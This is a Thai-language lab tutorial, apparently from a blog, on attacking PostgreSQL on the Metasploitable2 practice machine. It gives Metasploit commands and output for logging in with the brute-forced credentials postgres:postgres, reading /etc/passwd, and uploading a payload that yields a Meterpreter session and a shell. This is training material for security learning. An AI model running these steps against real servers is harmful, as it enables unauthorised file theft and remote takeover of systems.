How to exploit the OS file system via PostgreSQL – Metasploitable2

บทนำ (Overview)

บทความนี้นำเสนอกระบวนการขั้นตอนต่อไปถ้าเราสามารถเข้า ระบบฐานข้อมูล “PostgreSQL” ได้แล้วถ้าต้องการยึดระบบปฎิบัติการ (Operating System) ด้วยจะต้องทำอย่างไร

ขั้นตอน (Steps)

  1. จากบทความที่แล้ว How to brute force PostgreSQL – Metasploitable2 ตอนนี้เราสามารถได้บัญชีผู้ใช้เพื่อเข้าถึง PostgreSQL แล้ว “postgres:postgres@template1”
  2. เราสามารถ “Login” ผ่าน “postgres_login” ดังนี้
    msfconsole
    use auxiliary/admin/postgres/postgres_sql
    info auxiliary/admin/postgres/postgres_sql
    
  3. ตรวจสอบ “options” ต่าง ๆ ที่จำเป็นต้องตั้งค่าดังนี้
      Basic options:
      Name           Current Setting   Required  Description
      ----           ---------------   --------  -----------
      DATABASE       template1         yes       The database to authenticate against
      PASSWORD                         no        The password for the specified username. Leave blank for a random password.
      RETURN_ROWSET  true              no        Set to true to see query result sets
      RHOST                            yes       The target address
      RPORT          5432              yes       The target port
      SQL            select version()  no        The SQL query to execute
      USERNAME       postgres          yes       The username to authenticate as
      VERBOSE        false             no        Enable verbose output
    
    Description:
      This module will allow for simple SQL statements to be executed 
      against a PostgreSQL instance given the appropiate credentials.
    
    References:
      www.postgresql.org
    
  4. ให้เราตั้งตรงกับบัญชีผู้ใช้ในการเชื่อมต่อ “PostgreSQL” ดังนี้
    //IP เครื่องเป้าหมาย
    set RHOST 192.168.1.58
    //รหัสผ่านที่ได้มาจากการ Brute-force
    set PASSWORD postgres
    set SQL show databases
    select datname from pg_database;
    
  5. จากคำสั่งข้างต้นเราจะ “Query” ชื่อ “Database” ทั้งจากตาราง “pg_database” ดังนี้
    [+] 192.168.1.58:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
    [*] 192.168.1.58:5432 Postgres - querying with 'select datname from pg_database;'
    [*] 192.168.1.58:5432 Rows Returned: 3
    Query Text: 'select datname from pg_database;'
    ==============================================
    
        datname
        -------
        postgres
        template0
        template1
    
    
  6. ที่นี้ในการอ่านไฟล์ระดับ “OS” นั้น “PostgreSQL” ได้เตรียมฟังก์ชันเอาไว้ โดยมีการใช้งานดังนี้
    use auxiliary/admin/postgres/postgres_readfile
    info auxiliary/admin/postgres/postgres_readfile
    
  7. ตรวจสอบ “Options” ที่จำเป็นต้องตั้งค่าดังนี้
    Basic options:
      Name      Current Setting  Required  Description
      ----      ---------------  --------  -----------
      DATABASE  template1        yes       The database to authenticate against
      PASSWORD                   no        The password for the specified username. Leave blank for a random password.
      RFILE     /etc/passwd      yes       The remote file
      RHOST                      yes       The target address
      RPORT     5432             yes       The target port
      USERNAME  postgres         yes       The username to authenticate as
      VERBOSE   false            no        Enable verbose output
    
    Description:
      This module imports a file local on the PostgreSQL Server into a 
      temporary table, reads it, and then drops the temporary table. It 
      requires PostgreSQL credentials with table CREATE privileges as well 
      as read privileges to the target file.
    
  8. ให้ตั้งค่าดังนี้
    set USERNAME postgres
    set PASSWORD postgres
    set VERBOSE true
    set RHOST 192.168.1.58
    run
    

    Metasploitable2-postgres-os-01

  9. และระบบได้บันทึกข้อมูลเก็บลงไฟล์ให้เรียบร้อย
    Metasploitable2-postgres-os-02
    บันทึก /etc/passwd ลงไฟล์

    Metasploitable2-postgres-os-03
    ทดสอบอ่านไฟล์ที่ได้บันทึก
  10. เมื่อเราอ่านไฟล์ได้เราก็เขียนไฟล์ได้เช่นกัน แต่ไฟล์ที่เขียนเราจะเขียนไฟล์ “Payload” ที่เปรียบเสมือนอาวุธฝั่งเอาไว้ที่เครื่องเหยือเพื่อให้ เราสามารถเชื่อมต่อ “Command Line” ในระบบปฎิบัติการได้
    คำสั่ง

    use exploit/linux/postgres/postgres_payload
    show options
    

    ผลลัพธ์

    Module options (exploit/linux/postgres/postgres_payload):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       DATABASE  template1        yes       The database to authenticate against
       PASSWORD                   no        The password for the specified username. Leave blank for a random password.
       RHOST                      yes       The target address
       RPORT     5432             yes       The target port
       USERNAME  postgres         yes       The username to authenticate as
       VERBOSE   false            no        Enable verbose output
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Linux x86
    
    
  11. ให้ตั้งค่าดังนี้
    set USERNAME postgres
    set PASSWORD postgres
    set RHOST 192.168.1.58
    run
    
  12. เมื่อสำเร็จเราจะได้ “Meterpreter” ดังภาพ Metasploitable2-postgres-os-04
  13. ให้ใช้คำสั่ง shell เพื่อให้ได้ “command prompt” ดังนี้
    shell
    

    Metasploitable2-postgres-os-05

ใส่ความเห็น